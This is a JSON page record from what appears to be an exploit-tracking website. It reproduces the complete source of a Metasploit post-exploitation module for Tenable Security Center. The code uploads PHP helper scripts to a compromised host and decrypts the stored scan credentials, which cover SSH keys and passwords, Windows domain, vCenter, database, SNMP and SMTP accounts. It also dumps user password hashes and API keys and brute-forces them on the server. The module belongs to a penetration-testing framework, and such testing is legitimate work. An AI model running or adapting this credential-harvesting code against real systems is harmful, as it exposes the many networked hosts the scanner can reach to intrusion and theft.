{"id":54916,"date":"2026-05-15T14:35:49","date_gmt":"2026-05-15T14:35:49","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=54916"},"modified":"2026-05-15T14:35:49","modified_gmt":"2026-05-15T14:35:49","slug":"tenable-security-center","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=54916","title":{"rendered":"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:16&#8243;,&#8221;description&#8221;:&#8221;This module collects credentials and setup information from Tenable Security Center. root or TNS user permissions are required. We don&#8217;t utilize SC&#8217;s builtin backup functionality as that requires SC to be shut down. The module works in 2 phases: Phase&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-15T19:02:31&#8243;,&#8221;modified&#8221;:&#8221;2026-05-15T19:02:31&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Tenable Security Center&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Post\\n\\n  include Msf::Post::Linux::System\\n  include Msf::Post::Linux::Priv\\n  include Msf::Post::File\\n  include Msf::Auxiliary::Report\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Tenable Security Center&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module collects credentials and setup information\\n          from Tenable Security Center. root or TNS user permissions\\n          are required. We don&#8217;t utilize SC&#8217;s builtin backup\\n          functionality as that requires SC to be shut down.\\n          The module works in 2 phases:\\n\\n          Phase 1: gather all passwords which can be decrypted. These\\n          are non-user ones such as credentials used for scans, creds\\n          for the Nessus servers, SMTP, etc.\\n\\n          Phase 2: handle hashed passwords processing. SC uses SHA-512\\n          and PBKDF2 according to the documentation, but the implementation\\n          (salt+hash vs hash+salt) is unknown due to the source code being\\n          protected by SourceGuardian. To get around this, we use a php\\n          script on server to brute force the passwords. Note this will\\n          use SC&#8217;s resources. The crack attempt rate is ~6\/sec on a test\\n          instance, so you&#8217;ll want a small password list.\\n\\n          Tested against SC 6.7.2 on RHEL9\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die&#8217;,\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;linux&#8217;],\\n        &#8216;SessionTypes&#8217; =\\u003e [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],\\n        &#8216;References&#8217; =\\u003e [\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/docs.tenable.com\/security-center\/Content\/EncryptionStrength.htm&#8217;]\\n        ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [],\\n          &#8216;Reliability&#8217; =\\u003e []\\n        }\\n      )\\n    )\\n    register_options [\\n      OptPath.new(&#8216;WORDLIST&#8217;, [false, &#8216;The path to an optional wordlist&#8217;])\\n    ]\\n    register_advanced_options [\\n      OptString.new(&#8216;WritableDir&#8217;, [true, &#8216;A directory where we can write files&#8217;, &#8216;\/tmp&#8217;])\\n    ]\\n  end\\n\\n  def run\\n    unless is_root? || whoami == &#8216;tns&#8217;\\n      fail_with(Failure::NoAccess, \\&#8221;Root permission or tns user required. Root permissions: #{is_root?}, username: #{whoami}\\&#8221;)\\n    end\\n    fail_with(Failure::NotFound, &#8216;Security Center not found (\/opt\/sc\/src\/defines.php)&#8217;) unless file?(&#8216;\/opt\/sc\/src\/defines.php&#8217;)\\n\\n    defines = read_file(&#8216;\/opt\/sc\/src\/defines.php&#8217;)\\n    version = defines.match(\/define\\\\(\\&#8221;SC_VERSION\\&#8221;,\\\\s*\\&#8221;([^\\&#8221;]+)\\&#8221;\\\\)\/)[1]\\n    print_good(\\&#8221;Security Center Version: #{version}\\&#8221;)\\n\\n    @sc_service_data = {\\n      host: ::Rex::Socket.getaddress(session.sock.peerhost, true),\\n      address: ::Rex::Socket.getaddress(session.sock.peerhost, true),\\n      port: &#8216;443&#8217;,\\n      service_name: &#8216;tenable security center&#8217;,\\n      name: &#8216;tenable security center&#8217;,\\n      protocol: &#8216;tcp&#8217;,\\n      info: version.to_s,\\n      workspace_id: myworkspace_id\\n    }\\n    report_service(@sc_service_data)\\n\\n    if is_root?\\n      @command_prefix = \\&#8221;su &#8211; tns -s \/bin\/bash -c &#8216;\/opt\/sc\/support\/bin\/php \\&#8221;\\n      @command_postfix = \\&#8221;&#8216;\\&#8221;\\n    else\\n      @command_prefix = &#8221;\\n      @command_postfix = &#8221;\\n    end\\n\\n    gather_decrypted_creds\\n    gather_hashed_creds\\n  end\\n\\n  def gather_decrypted_creds\\n    script_path = \\&#8221;#{datastore[&#8216;WritableDir&#8217;]}\/#{Rex::Text.rand_text_alphanumeric(8..10)}\\&#8221;\\n    vprint_status(\\&#8221;Uploading database cred decryptor to #{script_path}\\&#8221;)\\n    fail_with(Failure::BadConfig, \\&#8221;Unable to write to #{script_path}\\&#8221;) unless upload_file(script_path, ::File.join(Msf::Config.data_directory, &#8216;post&#8217;, &#8216;tenable&#8217;, &#8216;security_center&#8217;, &#8216;pull_encrypted_database_fields.php&#8217;))\\n    vprint_status(\\&#8221;Running cred dumper: #{@command_prefix}#{script_path} -json#{@command_postfix}\\&#8221;)\\n    output = cmd_exec(\\&#8221;#{@command_prefix}#{script_path} -json#{@command_postfix}\\&#8221;)\\n    rm_f(script_path)\\n\\n    begin\\n      output = JSON.parse(output)\\n    rescue JSON::ParserError =\\u003e e\\n      print_error(\\&#8221;Error parsing JSON output: #{e}\\&#8221;)\\n    end\\n\\n    loot_path = store_loot(&#8216;tenable.security_center.creds&#8217;, &#8216;application\/json&#8217;, session, output, &#8216;creds.json&#8217;, &#8216;Security Center Decrypted Credentials JSON&#8217;)\\n    print_good(\\&#8221;Decrypted Security Center credentials stored to: #{loot_path}\\&#8221;)\\n\\n    tbl = Rex::Text::Table.new(\\n      &#8216;Header&#8217; =\\u003e &#8216;Decrypted Credentials&#8217;,\\n      &#8216;Indent&#8217; =\\u003e 1,\\n      &#8216;Columns&#8217; =\\u003e [&#8216;Source&#8217;, &#8216;Table&#8217;, &#8216;Username&#8217;, &#8216;Decrypted Password&#8217;, &#8216;Other Fields&#8217;]\\n    )\\n\\n    decrypted_flag = &#8216; [DECRYPTED]&#8217;\\n    ::Rex::Socket.getaddress(session.sock.peerhost, true)\\n\\n    output.each { |cred| process_decrypted_cred(cred, tbl, decrypted_flag) }\\n    print_good(tbl.to_s)\\n  end\\n\\n  def process_decrypted_cred(cred, tbl, decrypted_flag)\\n    case cred[&#8216;_table&#8217;]\\n    when &#8216;AppSSHCredential&#8217;\\n      service_data = {\\n        address: &#8216;0.0.0.0&#8217;,\\n        port: &#8217;22&#8217;,\\n        service_name: &#8216;ssh&#8217;,\\n        protocol: &#8216;tcp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      if cred[&#8216;authType&#8217;] == &#8216;password&#8217;\\n        credential_data = {\\n          origin_type: :service,\\n          module_fullname: fullname,\\n          username: cred[&#8216;username&#8217;],\\n          private_data: cred[&#8216;password&#8217;].gsub(decrypted_flag, &#8221;),\\n          private_type: :password\\n        }\\n      else\\n        credential_data = {\\n          origin_type: :service,\\n          module_fullname: fullname,\\n          username: cred[&#8216;username&#8217;],\\n          private_data: cred[&#8216;privateKey&#8217;].gsub(\\&#8221;\\\\r\\\\n\\&#8221;, \\&#8221;\\\\n\\&#8221;),\\n          private_type: :ssh_key\\n        }\\n      end\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n      info = cred.fetch(&#8216;passphrase&#8217;, &#8221;).gsub(decrypted_flag, &#8221;)\\n      info = \\&#8221;SSH Key Passphrase: #{info.gsub(decrypted_flag, &#8221;)}\\&#8221; if info != &#8221;\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], cred[&#8216;username&#8217;], credential_data[:private_data].gsub(\\&#8221;\\\\n\\&#8221;, &#8221;), info]\\n\\n      # check if they have privilege creds\\n      if cred.key?(&#8216;escalationPassword&#8217;) \\u0026\\u0026 cred[&#8216;escalationPassword&#8217;].gsub(decrypted_flag, &#8221;) != &#8221;\\n        credential_data = {\\n          origin_type: :service,\\n          module_fullname: fullname,\\n          username: cred.fetch(&#8216;escalationUsername&#8217;, cred.fetch(&#8216;escalationSuUser&#8217;, cred.fetch(&#8216;escalationAccount&#8217;, &#8221;))).gsub(decrypted_flag, &#8221;),\\n          private_data: cred[&#8216;escalationPassword&#8217;].gsub(decrypted_flag, &#8221;),\\n          private_type: :password\\n        }\\n\\n        credential_data.merge!(service_data)\\n        credential_core = create_credential(credential_data)\\n\\n        login_data = {\\n          core: credential_core,\\n          status: Metasploit::Model::Login::Status::UNTRIED\\n        }\\n\\n        login_data.merge!(service_data)\\n        tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], credential_data[:username], credential_data[:private_data], \\&#8221;Escalation method: #{cred[&#8216;privilegeEscalation&#8217;]}\\&#8221;]\\n      end\\n    when &#8216;AppWindowsCredential&#8217;\\n      service_data = {\\n        address: &#8216;0.0.0.0&#8217;,\\n        port: &#8216;445&#8217;,\\n        service_name: &#8216;smb&#8217;,\\n        protocol: &#8216;tcp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: cred[&#8216;username&#8217;],\\n        private_data: cred[&#8216;password&#8217;].gsub(decrypted_flag, &#8221;),\\n        private_type: :password\\n      }\\n      unless cred[&#8216;domain&#8217;] == &#8221;\\n        credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN\\n        credential_data[:realm_value] = cred[&#8216;domain&#8217;]\\n      end\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], cred[&#8216;username&#8217;], cred[&#8216;password&#8217;].gsub(decrypted_flag, &#8221;), &#8221;]\\n    when &#8216;AppVMwarevCenterCredential&#8217;\\n      service_data = {\\n        address: cred[&#8216;vcenter_host&#8217;],\\n        port: cred[&#8216;vcenter_port&#8217;],\\n        service_name: &#8216;vcenter&#8217;,\\n        protocol: &#8216;tcp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: cred[&#8216;vcenter_username&#8217;],\\n        private_data: cred[&#8216;vcenter_password&#8217;].gsub(decrypted_flag, &#8221;),\\n        private_type: :password\\n      }\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], cred[&#8216;vcenter_username&#8217;], cred[&#8216;vcenter_password&#8217;].gsub(decrypted_flag, &#8221;), &#8221;]\\n    when &#8216;AppMongoDBCredential&#8217;\\n      service_data = {\\n        address: &#8216;0.0.0.0&#8217;,\\n        port: cred[&#8216;mongodb_port&#8217;],\\n        service_name: &#8216;mongodb&#8217;,\\n        protocol: &#8216;tcp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: cred[&#8216;mongodb_username&#8217;],\\n        private_data: cred[&#8216;mongodb_password&#8217;].gsub(decrypted_flag, &#8221;),\\n        private_type: :password\\n      }\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], cred[&#8216;mongodb_username&#8217;], cred[&#8216;mongodb_password&#8217;].gsub(decrypted_flag, &#8221;), cred[&#8216;mongodb_database&#8217;]]\\n    when &#8216;AppDatabaseCredential&#8217;\\n      service_data = {\\n        address: &#8216;0.0.0.0&#8217;,\\n        port: cred[&#8216;port&#8217;],\\n        service_name: cred[&#8216;dbType&#8217;],\\n        protocol: &#8216;tcp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: cred[&#8216;username&#8217;],\\n        private_data: cred[&#8216;password&#8217;].gsub(decrypted_flag, &#8221;),\\n        private_type: :password\\n      }\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], cred[&#8216;username&#8217;], cred[&#8216;password&#8217;].gsub(decrypted_flag, &#8221;), cred[&#8216;dbType&#8217;]]\\n    when &#8216;Scanner&#8217;\\n      service_data = {\\n        address: cred[&#8216;ip&#8217;],\\n        port: cred[&#8216;port&#8217;],\\n        service_name: cred[&#8216;nessusType&#8217;],\\n        protocol: &#8216;tcp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: cred[&#8216;username&#8217;],\\n        private_data: cred[&#8216;password&#8217;].gsub(decrypted_flag, &#8221;),\\n        private_type: :password\\n      }\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], cred[&#8216;username&#8217;], cred[&#8216;password&#8217;].gsub(decrypted_flag, &#8221;), \\&#8221;Scanner Type: #{cred[&#8216;nessusType&#8217;]}\\&#8221;]\\n    when &#8216;SNMPCredential&#8217;\\n      service_data = {\\n        address: &#8216;0.0.0.0&#8217;,\\n        port: &#8216;161&#8217;,\\n        service_name: &#8216;snmp&#8217;,\\n        protocol: &#8216;udp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: &#8221;,\\n        private_data: cred[&#8216;communityString&#8217;].gsub(decrypted_flag, &#8221;),\\n        private_type: :password\\n      }\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], &#8221;, cred[&#8216;communityString&#8217;].gsub(decrypted_flag, &#8221;), &#8221;]\\n    when &#8216;Configuration&#8217; # SMTP\\n      addr = if ::Rex::Socket.is_ip_addr?(cred[&#8216;SMTPHost&#8217;])\\n               cred[&#8216;SMTPHost&#8217;]\\n             else\\n               begin\\n                 ::Rex::Socket.getaddress(cred[&#8216;SMTPHost&#8217;], true)\\n               rescue StandardError\\n                 &#8216;0.0.0.0&#8217;\\n               end\\n             end\\n\\n      service_data = {\\n        address: addr,\\n        port: cred[&#8216;SMTPPort&#8217;],\\n        service_name: &#8216;smtp&#8217;,\\n        protocol: &#8216;tcp&#8217;,\\n        workspace_id: myworkspace_id\\n      }\\n\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: cred[&#8216;SMTPUsername&#8217;],\\n        private_data: cred[&#8216;SMTPPassword&#8217;].gsub(decrypted_flag, &#8221;),\\n        private_type: :password\\n      }\\n\\n      credential_data.merge!(service_data)\\n      credential_core = create_credential(credential_data)\\n\\n      login_data = {\\n        core: credential_core,\\n        status: Metasploit::Model::Login::Status::UNTRIED\\n      }\\n\\n      login_data.merge!(service_data)\\n      create_credential_login(login_data)\\n\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], cred[&#8216;SMTPUsername&#8217;], cred[&#8216;SMTPPassword&#8217;].gsub(decrypted_flag, &#8221;), &#8221;]\\n    else\\n      username = cred.fetch(&#8216;username&#8217;, &#8221;)\\n      password = cred.fetch(&#8216;password&#8217;, &#8221;).gsub(decrypted_flag, &#8221;)\\n      tbl \\u003c\\u003c [cred[&#8216;_source&#8217;], cred[&#8216;_table&#8217;], username, password, &#8221;]\\n      print_warning(&#8216;Please reivew loot for additional details&#8217;)\\n    end\\n  end\\n\\n  def gather_hashed_creds\\n    script_path = \\&#8221;#{datastore[&#8216;WritableDir&#8217;]}\/#{Rex::Text.rand_text_alphanumeric(8..10)}\\&#8221;\\n    vprint_status(\\&#8221;Uploading database cred dumper to #{script_path}\\&#8221;)\\n    fail_with(Failure::BadConfig, \\&#8221;Unable to write to #{script_path}\\&#8221;) unless upload_file(script_path, ::File.join(Msf::Config.data_directory, &#8216;post&#8217;, &#8216;tenable&#8217;, &#8216;security_center&#8217;, &#8216;dump_crack_hashes.php&#8217;))\\n    vprint_status(\\&#8221;Running cred dumper: #{@command_prefix}#{script_path} -json#{@command_postfix}\\&#8221;)\\n    output = JSON.parse(cmd_exec(\\&#8221;#{@command_prefix}#{script_path} -json#{@command_postfix}\\&#8221;))\\n\\n    loot_path = store_loot(&#8216;tenable.security_center.creds.hashed&#8217;, &#8216;application\/json&#8217;, session, output, &#8216;hashed_creds.json&#8217;, &#8216;Security Center Credentials JSON&#8217;)\\n    print_good(\\&#8221;Decrypted Security Center credentials stored to: #{loot_path}\\&#8221;)\\n\\n    cred_tbl = Rex::Text::Table.new(\\n      &#8216;Header&#8217; =\\u003e &#8216;Accounts Hashes&#8217;,\\n      &#8216;Indent&#8217; =\\u003e 1,\\n      &#8216;Columns&#8217; =\\u003e [&#8216;UserID&#8217;, &#8216;Org&#8217;, &#8216;Username&#8217;, &#8216;Salt:Hash&#8217;]\\n    )\\n    api_keys_tbl = Rex::Text::Table.new(\\n      &#8216;Header&#8217; =\\u003e &#8216;API Keys&#8217;,\\n      &#8216;Indent&#8217; =\\u003e 1,\\n      &#8216;Columns&#8217; =\\u003e [&#8216;ID&#8217;, &#8216;User ID&#8217;, &#8216;Name&#8217;, &#8216;Access Key&#8217;, &#8216;Salt:Hash&#8217;]\\n    )\\n\\n    output.each do |cred|\\n      case cred[&#8216;_table&#8217;]\\n      when &#8216;APIKey&#8217;\\n        api_keys_tbl \\u003c\\u003c [cred[&#8216;id&#8217;], cred[&#8216;userAuthID&#8217;], cred[&#8216;name&#8217;], cred[&#8216;accessKey&#8217;], \\&#8221;#{cred[&#8216;salt&#8217;]}:#{cred[&#8216;key&#8217;]}\\&#8221;]\\n      when &#8216;UserAuth&#8217;\\n        cred_tbl \\u003c\\u003c [cred[&#8216;id&#8217;], cred[&#8216;orgID&#8217;], cred[&#8216;username&#8217;], \\&#8221;#{cred[&#8216;salt&#8217;]}:#{cred[&#8216;password&#8217;]}\\&#8221;]\\n      end\\n    end\\n\\n    print_good(api_keys_tbl.to_s) unless api_keys_tbl.rows.empty?\\n    print_good(cred_tbl.to_s) unless cred_tbl.rows.empty?\\n\\n    unless datastore[&#8216;WORDLIST&#8217;]\\n      rm_f(script_path)\\n      return\\n    end\\n\\n    crack_hashes(output, script_path)\\n  end\\n\\n  def crack_hashes(hashed_output, script_path)\\n    wordlist_lines = File.read(datastore[&#8216;WORDLIST&#8217;]).lines.count\\n    estimate_minutes = ((hashed_output.length * wordlist_lines) \/ 6.0 \/ 60).round(1)\\n    print_warning(\\&#8221;Estimated brute force time: #{estimate_minutes} minutes (#{hashed_output.length} users x #{wordlist_lines} words @ 6\/sec)\\&#8221;)\\n    print_warning(&#8216;Waiting 5 seconds for user interuption if this is too long a time.&#8217;)\\n    sleep(5)\\n\\n    wordlist_path = \\&#8221;#{datastore[&#8216;WritableDir&#8217;]}\/#{Rex::Text.rand_text_alphanumeric(8..10)}\\&#8221;\\n    vprint_status(\\&#8221;Uploading wordlist to: #{wordlist_path}\\&#8221;)\\n    fail_with(Failure::BadConfig, \\&#8221;Unable to write to #{wordlist_path}\\&#8221;) unless upload_file(wordlist_path, datastore[&#8216;WORDLIST&#8217;])\\n\\n    output = JSON.parse(cmd_exec(\\&#8221;#{@command_prefix}#{script_path} -json -crack #{wordlist_path}#{@command_postfix}\\&#8221;).lines[1..].join)\\n    rm_f(script_path)\\n    rm_f(wordlist_path)\\n\\n    cracked_tbl = Rex::Text::Table.new(\\n      &#8216;Header&#8217; =\\u003e &#8216;Cracked Credentials&#8217;,\\n      &#8216;Indent&#8217; =\\u003e 1,\\n      &#8216;Columns&#8217; =\\u003e [&#8216;ID&#8217;, &#8216;User&#8217;, &#8216;Password&#8217;, &#8216;Admin&#8217;]\\n    )\\n    output.each do |cred|\\n      cracked_tbl \\u003c\\u003c [cred[&#8216;id&#8217;], cred[&#8216;username&#8217;], cred[&#8216;password&#8217;], cred[&#8216;isAdmin&#8217;]]\\n      credential_data = {\\n        origin_type: :service,\\n        module_fullname: fullname,\\n        username: cred[&#8216;username&#8217;],\\n        private_data: cred[&#8216;password&#8217;],\\n        private_type: :password\\n      }\\n\\n      credential_data.merge!(@sc_service_data)\\n      create_credential(credential_data)\\n    end\\n\\n    print_good(cracked_tbl.to_s) unless cracked_tbl.rows.empty?\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/post\/linux\/gather\/tenable_security_center.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/post\/linux\/gather\/tenable_security_center\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:16&#8243;,&#8221;description&#8221;:&#8221;This module collects credentials and setup information from Tenable Security Center. root or TNS user permissions are required. We don&#8217;t utilize SC&#8217;s builtin backup functionality&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-54916","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=54916\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-15T19:28:16&#8243;,&#8221;description&#8221;:&#8221;This module collects credentials and setup information from Tenable Security Center. root or TNS user permissions are required. We don&#8217;t utilize SC&#8217;s builtin backup functionality...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=54916\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-15T14:35:49+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54916#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54916\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER-\",\"datePublished\":\"2026-05-15T14:35:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54916\"},\"wordCount\":2618,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54916#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54916\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54916\",\"name\":\"Tenable Security Center_MSF:POST-LINUX-GATHER-TENABLE_SECURITY_CENTER- zero 